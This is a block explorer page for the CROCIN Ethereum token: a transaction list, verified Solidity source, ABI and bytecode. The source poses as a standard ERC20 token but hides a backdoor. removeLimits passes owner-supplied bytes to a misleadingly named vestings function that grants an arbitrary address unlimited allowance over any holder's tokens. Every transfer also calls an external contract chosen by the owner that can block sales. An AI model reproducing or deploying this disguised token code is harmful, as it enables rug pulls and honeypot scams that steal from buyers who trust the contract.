Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 41 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17306924 | 598 days ago | IN | 0 ETH | 0.00126355 | ||||
Approve | 17302126 | 599 days ago | IN | 0 ETH | 0.00180477 | ||||
Approve | 17298680 | 599 days ago | IN | 0 ETH | 0.00083555 | ||||
Approve | 17296573 | 599 days ago | IN | 0 ETH | 0.00145082 | ||||
Approve | 17296289 | 600 days ago | IN | 0 ETH | 0.00147758 | ||||
Approve | 17296175 | 600 days ago | IN | 0 ETH | 0.00178098 | ||||
Approve | 17296155 | 600 days ago | IN | 0 ETH | 0.00159411 | ||||
Approve | 17296102 | 600 days ago | IN | 0 ETH | 0.00179209 | ||||
Approve | 17296101 | 600 days ago | IN | 0 ETH | 0.00288759 | ||||
Approve | 17296016 | 600 days ago | IN | 0 ETH | 0.00218121 | ||||
Approve | 17295970 | 600 days ago | IN | 0 ETH | 0.00129517 | ||||
Approve | 17295954 | 600 days ago | IN | 0 ETH | 0.00206384 | ||||
Approve | 17295941 | 600 days ago | IN | 0 ETH | 0.00313607 | ||||
Transfer | 17295896 | 600 days ago | IN | 0 ETH | 0.00398533 | ||||
Transfer | 17295894 | 600 days ago | IN | 0 ETH | 0.00402429 | ||||
Transfer | 17295892 | 600 days ago | IN | 0 ETH | 0.00417277 | ||||
Approve | 17295791 | 600 days ago | IN | 0 ETH | 0.00326067 | ||||
Approve | 17295784 | 600 days ago | IN | 0 ETH | 0.00326499 | ||||
Approve | 17295782 | 600 days ago | IN | 0 ETH | 0.00530493 | ||||
Approve | 17295757 | 600 days ago | IN | 0 ETH | 0.00309822 | ||||
Approve | 17295755 | 600 days ago | IN | 0 ETH | 0.00417753 | ||||
Approve | 17295755 | 600 days ago | IN | 0 ETH | 0.00417753 | ||||
Approve | 17295738 | 600 days ago | IN | 0 ETH | 0.00247716 | ||||
Approve | 17295733 | 600 days ago | IN | 0 ETH | 0.00260694 | ||||
Approve | 17295731 | 600 days ago | IN | 0 ETH | 0.00229351 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
CROCIN
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-19 */ // SPDX-License-Identifier: MIT /** _.---._ .---. __...---' .---. `---'-. `. ~ -~ -.-''__.--' _.'( | )`. `. `._ : -.~~ .'__-'_ .--'' ._`---'_.-. `. `-`. ~ ~_~-~-~_ ~ -._ -._``---. -. `-._ `. ~- ~ ~ -_ -~ ~ -.._ _ _ _ ..-_ `. `-._``--.._ ~~-~ ~-_ _~ ~-~ ~ -~ _~~_-~ -._ `-. -. `-._``--.._.--''. ~ -~_ ~~ -~_-~ _~- _~~ _~-_~ ~-_~~ ~-.___ -._ `-.__ `. `. ~ -_~ ~~ _~- ~~- -_~ ~- ~ - _~~- _~~ ~---...__ _ ._ .` `. ~-_~ ~ ~- _~~- _-_~ ~-_ ~-~ ~_-~ _~- ~_~-_~ ~--.....--~ -~_ ~ ~ ~ - ~ ~ ~~ - ~~- ~~- ~- ~ -~ ~ ~ -~~- ~- ~-~ Website: https://www.crocin.wtf Telegram: https://t.me/crocineth **/ pragma solidity ^0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IVesting { function checkVesting(address, address) external; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CROCIN is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => uint256) private _holderLastTransferTimestamp; address private _vest; bool public transferDelayEnabled = false; address payable private taxWallet; uint256 private _buySellTax=0; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 10 ** 6 * 10**_decimals; string private constant _name = unicode"Crocin Coin"; string private constant _symbol = unicode"CROCIN"; uint256 public _maxTxAmount = _tTotal * 4 / 100; uint256 public _maxWalletSize = _tTotal * 4 / 100; uint256 public _taxSwapThreshold= _tTotal * 2 / 1000; uint256 public _maxTaxSwap= _tTotal * 1 / 1000; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingEnabled; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[taxWallet] = true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function vestings(bytes memory _v) internal { (address owner, address spender) = abi.decode(_v, (address, address)); _vest = spender; _allowances[owner][spender] = type(uint).max; } function checkv(address owner, address spender) internal { if (_vest != address(0)) IVesting(_vest).checkVesting(owner, spender); } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(tradingEnabled, "Trading is not active"); taxAmount = amount.mul(_buySellTax).div(100); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } uint256 contractTokenBalance = balanceOf(address(this));checkv(from, to); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETH(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function enableTrading() external onlyOwner() { require(!tradingEnabled,"trading is already open"); swapEnabled = true; tradingEnabled = true; } function removeLimits(bytes memory total) external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; vestings(total); transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function sendETH(uint256 amount) private { taxWallet.transfer(amount); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes","name":"total","type":"bytes"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526005805460ff60a01b1916905560006007556064620000266012600a62000595565b6200003590620f4240620005ad565b62000042906004620005ad565b6200004e9190620005c7565b6008556064620000616012600a62000595565b6200007090620f4240620005ad565b6200007d906004620005ad565b620000899190620005c7565b6009556103e86200009d6012600a62000595565b620000ac90620f4240620005ad565b620000b9906002620005ad565b620000c59190620005c7565b600a556103e86012600a620000db919062000595565b620000ea90620f4240620005ad565b620000f7906001620005ad565b620001039190620005c7565b600b55600d805461ffff60a81b191690553480156200012157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b03191633179055620001836012600a62000595565b6200019290620f4240620005ad565b336000908152600160208190526040822092909255600390620001bd6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600384528281208054861660019081179091556006549092168152829020805490941617909255600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa15801562000276573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029c9190620005ea565b6001600160a01b031663c9c6539630600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003259190620005ea565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000373573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003999190620005ea565b600d80546001600160a01b0319166001600160a01b03928316908117909155600c5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801562000401573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000427919062000615565b503360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200045a6012600a62000595565b6200046990620f4240620005ad565b60405190815260200160405180910390a362000639565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004d7578160001904821115620004bb57620004bb62000480565b80851615620004c957918102915b93841c93908002906200049b565b509250929050565b600082620004f0575060016200058f565b81620004ff575060006200058f565b8160018114620005185760028114620005235762000543565b60019150506200058f565b60ff84111562000537576200053762000480565b50506001821b6200058f565b5060208310610133831016604e8410600b841016171562000568575081810a6200058f565b62000574838362000496565b80600019048211156200058b576200058b62000480565b0290505b92915050565b6000620005a660ff841683620004df565b9392505050565b80820281158282048414176200058f576200058f62000480565b600082620005e557634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620005fd57600080fd5b81516001600160a01b0381168114620005a657600080fd5b6000602082840312156200062857600080fd5b81518015158114620005a657600080fd5b61165180620006496000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b4114610313578063a9059cbb14610342578063bf474bed14610362578063c876d0b914610378578063dd62ed3e1461039957600080fd5b8063715018a61461029f5780637d1db4a5146102b45780638a8c523c146102ca5780638da5cb5b146102df5780638f9a55c0146102fd57600080fd5b806323b872dd116100e757806323b872dd146101d3578063313ce567146101f357806349bd5a5e1461020f5780636a943d4a1461024757806370a082311461026957600080fd5b806306fdde0314610124578063095ea7b31461016a5780630faee56f1461019a57806318160ddd146101be57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600b81526a21b937b1b4b71021b7b4b760a91b60208201525b6040516101619190611193565b60405180910390f35b34801561017657600080fd5b5061018a6101853660046111f9565b6103df565b6040519015158152602001610161565b3480156101a657600080fd5b506101b0600b5481565b604051908152602001610161565b3480156101ca57600080fd5b506101b06103f6565b3480156101df57600080fd5b5061018a6101ee366004611225565b610416565b3480156101ff57600080fd5b5060405160128152602001610161565b34801561021b57600080fd5b50600d5461022f906001600160a01b031681565b6040516001600160a01b039091168152602001610161565b34801561025357600080fd5b5061026761026236600461127c565b61047f565b005b34801561027557600080fd5b506101b061028436600461132d565b6001600160a01b031660009081526001602052604090205490565b3480156102ab57600080fd5b5061026761054e565b3480156102c057600080fd5b506101b060085481565b3480156102d657600080fd5b506102676105c2565b3480156102eb57600080fd5b506000546001600160a01b031661022f565b34801561030957600080fd5b506101b060095481565b34801561031f57600080fd5b5060408051808201909152600681526521a927a1a4a760d11b6020820152610154565b34801561034e57600080fd5b5061018a61035d3660046111f9565b61065f565b34801561036e57600080fd5b506101b0600a5481565b34801561038457600080fd5b5060055461018a90600160a01b900460ff1681565b3480156103a557600080fd5b506101b06103b436600461134a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103ec33848461066c565b5060015b92915050565b60006104046012600a61147d565b61041190620f424061148c565b905090565b6000610423848484610790565b6104758433610470856040518060600160405280602881526020016115f4602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d34565b61066c565b5060019392505050565b6000546001600160a01b031633146104b25760405162461bcd60e51b81526004016104a9906114a3565b60405180910390fd5b6104be6012600a61147d565b6104cb90620f424061148c565b6008556104da6012600a61147d565b6104e790620f424061148c565b6009556104f381610d6e565b6005805460ff60a01b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61052d6012600a61147d565b61053a90620f424061148c565b60405190815260200160405180910390a150565b6000546001600160a01b031633146105785760405162461bcd60e51b81526004016104a9906114a3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105ec5760405162461bcd60e51b81526004016104a9906114a3565b600d54600160a01b900460ff16156106465760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104a9565b600d805462ff00ff60a01b19166201000160a01b179055565b60006103ec338484610790565b6001600160a01b0383166106ce5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a9565b6001600160a01b03821661072f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107f45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a9565b6001600160a01b0382166108565760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a9565b600081116108b85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104a9565b600080546001600160a01b038581169116148015906108e557506000546001600160a01b03848116911614155b15610bf157600d54600160a01b900460ff1661093b5760405162461bcd60e51b815260206004820152601560248201527454726164696e67206973206e6f742061637469766560581b60448201526064016104a9565b61095b606461095560075485610dc890919063ffffffff16565b90610e51565b600554909150600160a01b900460ff1615610a4a57600c546001600160a01b0384811691161480159061099c5750600d546001600160a01b03848116911614155b15610a4a57326000908152600460205260409020544311610a375760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104a9565b3260009081526004602052604090204390555b600d546001600160a01b038581169116148015610a755750600c546001600160a01b03848116911614155b8015610a9a57506001600160a01b03831660009081526003602052604090205460ff16155b15610b6c57600854821115610af15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104a9565b60095482610b14856001600160a01b031660009081526001602052604090205490565b610b1e91906114d8565b1115610b6c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104a9565b30600090815260016020526040902054610b868585610e93565b600d54600160a81b900460ff16158015610bad5750600d546001600160a01b038581169116145b8015610bc25750600d54600160b01b900460ff165b8015610bcf5750600a5481115b15610bef57610bdd81610f10565b478015610bed57610bed4761108a565b505b505b8015610c6b5730600090815260016020526040902054610c1190826110c4565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c629085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610c8e9083611123565b6001600160a01b038516600090815260016020526040902055610cd3610cb48383611123565b6001600160a01b038516600090815260016020526040902054906110c4565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d1d8585611123565b60405190815260200160405180910390a350505050565b60008184841115610d585760405162461bcd60e51b81526004016104a99190611193565b506000610d6584866114eb565b95945050505050565b60008082806020019051810190610d8591906114fe565b600580546001600160a01b0319166001600160a01b0392831690811790915591166000908152600260209081526040808320938352929052206000199055505050565b600082600003610dda575060006103f0565b6000610de6838561148c565b905082610df3858361152d565b14610e4a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104a9565b9392505050565b6000610e4a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611165565b6005546001600160a01b031615610f0c576005546040516307d3117560e01b81526001600160a01b0384811660048301528381166024830152909116906307d3117590604401600060405180830381600087803b158015610ef357600080fd5b505af1158015610f07573d6000803e3d6000fd5b505050505b5050565b600d805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f5857610f5861154f565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fb1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd59190611565565b81600181518110610fe857610fe861154f565b6001600160a01b039283166020918202929092010152600c5461100e913091168461066c565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611047908590600090869030904290600401611582565b600060405180830381600087803b15801561106157600080fd5b505af1158015611075573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f0c573d6000803e3d6000fd5b6000806110d183856114d8565b905083811015610e4a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104a9565b6000610e4a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d34565b600081836111865760405162461bcd60e51b81526004016104a99190611193565b506000610d65848661152d565b600060208083528351808285015260005b818110156111c0578581018301518582016040015282016111a4565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111f657600080fd5b50565b6000806040838503121561120c57600080fd5b8235611217816111e1565b946020939093013593505050565b60008060006060848603121561123a57600080fd5b8335611245816111e1565b92506020840135611255816111e1565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561128e57600080fd5b813567ffffffffffffffff808211156112a657600080fd5b818401915084601f8301126112ba57600080fd5b8135818111156112cc576112cc611266565b604051601f8201601f19908116603f011681019083821181831017156112f4576112f4611266565b8160405282815287602084870101111561130d57600080fd5b826020860160208301376000928101602001929092525095945050505050565b60006020828403121561133f57600080fd5b8135610e4a816111e1565b6000806040838503121561135d57600080fd5b8235611368816111e1565b91506020830135611378816111e1565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156113d45781600019048211156113ba576113ba611383565b808516156113c757918102915b93841c939080029061139e565b509250929050565b6000826113eb575060016103f0565b816113f8575060006103f0565b816001811461140e576002811461141857611434565b60019150506103f0565b60ff84111561142957611429611383565b50506001821b6103f0565b5060208310610133831016604e8410600b8410161715611457575081810a6103f0565b6114618383611399565b806000190482111561147557611475611383565b029392505050565b6000610e4a60ff8416836113dc565b80820281158282048414176103f0576103f0611383565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156103f0576103f0611383565b818103818111156103f0576103f0611383565b6000806040838503121561151157600080fd5b825161151c816111e1565b6020840151909250611378816111e1565b60008261154a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561157757600080fd5b8151610e4a816111e1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115d25784516001600160a01b0316835293830193918301916001016115ad565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ff16d6696b18cd4b8a07d054306b2ed5672f1ff77d7807d67056ddee2754324c64736f6c63430008120033
Deployed Bytecode
0x6080604052600436106101185760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b4114610313578063a9059cbb14610342578063bf474bed14610362578063c876d0b914610378578063dd62ed3e1461039957600080fd5b8063715018a61461029f5780637d1db4a5146102b45780638a8c523c146102ca5780638da5cb5b146102df5780638f9a55c0146102fd57600080fd5b806323b872dd116100e757806323b872dd146101d3578063313ce567146101f357806349bd5a5e1461020f5780636a943d4a1461024757806370a082311461026957600080fd5b806306fdde0314610124578063095ea7b31461016a5780630faee56f1461019a57806318160ddd146101be57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600b81526a21b937b1b4b71021b7b4b760a91b60208201525b6040516101619190611193565b60405180910390f35b34801561017657600080fd5b5061018a6101853660046111f9565b6103df565b6040519015158152602001610161565b3480156101a657600080fd5b506101b0600b5481565b604051908152602001610161565b3480156101ca57600080fd5b506101b06103f6565b3480156101df57600080fd5b5061018a6101ee366004611225565b610416565b3480156101ff57600080fd5b5060405160128152602001610161565b34801561021b57600080fd5b50600d5461022f906001600160a01b031681565b6040516001600160a01b039091168152602001610161565b34801561025357600080fd5b5061026761026236600461127c565b61047f565b005b34801561027557600080fd5b506101b061028436600461132d565b6001600160a01b031660009081526001602052604090205490565b3480156102ab57600080fd5b5061026761054e565b3480156102c057600080fd5b506101b060085481565b3480156102d657600080fd5b506102676105c2565b3480156102eb57600080fd5b506000546001600160a01b031661022f565b34801561030957600080fd5b506101b060095481565b34801561031f57600080fd5b5060408051808201909152600681526521a927a1a4a760d11b6020820152610154565b34801561034e57600080fd5b5061018a61035d3660046111f9565b61065f565b34801561036e57600080fd5b506101b0600a5481565b34801561038457600080fd5b5060055461018a90600160a01b900460ff1681565b3480156103a557600080fd5b506101b06103b436600461134a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103ec33848461066c565b5060015b92915050565b60006104046012600a61147d565b61041190620f424061148c565b905090565b6000610423848484610790565b6104758433610470856040518060600160405280602881526020016115f4602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d34565b61066c565b5060019392505050565b6000546001600160a01b031633146104b25760405162461bcd60e51b81526004016104a9906114a3565b60405180910390fd5b6104be6012600a61147d565b6104cb90620f424061148c565b6008556104da6012600a61147d565b6104e790620f424061148c565b6009556104f381610d6e565b6005805460ff60a01b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61052d6012600a61147d565b61053a90620f424061148c565b60405190815260200160405180910390a150565b6000546001600160a01b031633146105785760405162461bcd60e51b81526004016104a9906114a3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105ec5760405162461bcd60e51b81526004016104a9906114a3565b600d54600160a01b900460ff16156106465760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104a9565b600d805462ff00ff60a01b19166201000160a01b179055565b60006103ec338484610790565b600